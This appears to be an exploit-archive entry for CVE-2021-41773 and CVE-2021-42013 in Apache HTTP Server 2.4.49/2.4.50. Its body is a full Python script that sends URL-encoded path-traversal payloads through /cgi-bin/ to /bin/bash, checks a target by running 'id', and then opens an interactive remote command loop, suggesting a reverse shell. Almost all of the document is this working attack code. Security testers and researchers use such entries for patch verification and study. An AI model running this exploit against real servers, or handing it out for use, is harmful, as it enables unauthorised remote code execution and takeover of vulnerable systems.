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Apache HTTP Server 2.4.50 Remote Code Execution

Apache HTTP Server 2.4.50 Remote Code Execution
Posted Nov 11, 2021
Authored by Valentin Lobstein, Lucas Schnell

This is another variant of the Apache HTTP server version 2.4.50 remote code execution exploit.

tags | exploit, remote, web, code execution
advisories | CVE-2021-41773, CVE-2021-42013
SHA-256 | 1aab010960ead5e3662859fd06680b20932ece6ecf7a7c80a05437497896bb8f

Apache HTTP Server 2.4.50 Remote Code Execution

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# Exploit Title: Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (3)
# Date: 11/11/2021
# Exploit Author: Valentin Lobstein
# Vendor Homepage: https://apache.org/
# Software Link: https://github.com/Balgogan/CVE-2021-41773
# Version: Apache 2.4.49/2.4.50 (CGI enabled)
# Tested on: Debian GNU/Linux
# CVE : CVE-2021-41773 / CVE-2021-42013
# Credits : Lucas Schnell


#!/usr/bin/env python3
#coding: utf-8

import os
import re
import sys
import time
import requests
from colorama import Fore,Style


header = '''\033[1;91m

▄▄▄ ██▓███ ▄▄▄ ▄████▄ ██░ ██ ▓█████ ██▀███ ▄████▄ ▓█████
▒████▄ ▓██░ ██▒▒████▄ ▒██▀ ▀█ ▓██░ ██▒▓█ ▀ ▓██ ▒ ██▒▒██▀ ▀█ ▓█ ▀
▒██ ▀█▄ ▓██░ ██▓▒▒██ ▀█▄ ▒▓█ ▄ ▒██▀▀██░▒███ ▓██ ░▄█ ▒▒▓█ ▄ ▒███
░██▄▄▄▄██ ▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒░▓█ ░██ ▒▓█ ▄ ▒██▀▀█▄ ▒▓▓▄ ▄██▒▒▓█ ▄
▓█ ▓██▒▒██▒ ░ ░ ▓█ ▓██▒▒ ▓███▀ ░░▓█▒░██▓░▒████▒ ░██▓ ▒██▒▒ ▓███▀ ░░▒████▒
▒▒ ▓▒█░▒▓▒░ ░ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░ ░ ▒▓ ░▒▓░░ ░▒ ▒ ░░░ ▒░ ░
▒ ▒▒ ░░▒ ░ ▒ ▒▒ ░ ░ ▒ ▒ ░▒░ ░ ░ ░ ░ ░▒ ░ ▒░ ░ ▒ ░ ░ ░
░ ▒ ░░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ ░ ░
''' + Style.RESET_ALL


if len(sys.argv) < 2 :
print( 'Use: python3 file.py ip:port ' )
sys.exit()

def end():
print("\t\033[1;91m[!] Bye bye !")
time.sleep(0.5)
sys.exit(1)

def commands(url,command,session):
directory = mute_command(url,'pwd')
user = mute_command(url,'whoami')
hostname = mute_command(url,'hostname')
advise = print(Fore.YELLOW + 'Reverse shell is advised (This isn\'t an interactive shell)')
command = input(f"{Fore.RED}╭─{Fore.GREEN + user}@{hostname}: {Fore.BLUE + directory}\n{Fore.RED}╰─{Fore.YELLOW}$ {Style.RESET_ALL}")
command = f"echo; {command};"
req = requests.Request('POST', url=url, data=command)
prepare = req.prepare()
prepare.url = url
response = session.send(prepare, timeout=5)
output = response.text
print(output)
if 'clear' in command:
os.system('/usr/bin/clear')
print(header)
if 'exit' in command:
end()

def mute_command(url,command):
session = requests.Session()
req = requests.Request('POST', url=url, data=f"echo; {command}")
prepare = req.prepare()
prepare.url = url
response = session.send(prepare, timeout=5)
return response.text.strip()


def exploitRCE(payload):
s = requests.Session()
try:
host = sys.argv[1]
if 'http' not in host:
url = 'http://'+ host + payload
else:
url = host + payload
session = requests.Session()
command = "echo; id"
req = requests.Request('POST', url=url, data=command)
prepare = req.prepare()
prepare.url = url
response = session.send(prepare, timeout=5)
output = response.text
if "uid" in output:
choice = "Y"
print( Fore.GREEN + '\n[!] Target %s is vulnerable !!!' % host)
print("[!] Sortie:\n\n" + Fore.YELLOW + output )
choice = input(Fore.CYAN + "[?] Do you want to exploit this RCE ? (Y/n) : ")
if choice.lower() in ['','y','yes']:
while True:
commands(url,command,session)
else:
end()
else :
print(Fore.RED + '\nTarget %s isn\'t vulnerable' % host)
except KeyboardInterrupt:
end()

def main():
try:
apache2449_payload = '/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash'
apache2450_payload = '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash'
payloads = [apache2449_payload,apache2450_payload]
choice = len(payloads) + 1
print(header)
print("\033[1;37m[0] Apache 2.4.49 RCE\n[1] Apache 2.4.50 RCE")
while choice >= len(payloads) and choice >= 0:
choice = int(input('[~] Choice : '))
if choice < len(payloads):
exploitRCE(payloads[choice])
except KeyboardInterrupt:
print("\n\033[1;91m[!] Bye bye !")
time.sleep(0.5)
sys.exit(1)

if __name__ == '__main__':
main()

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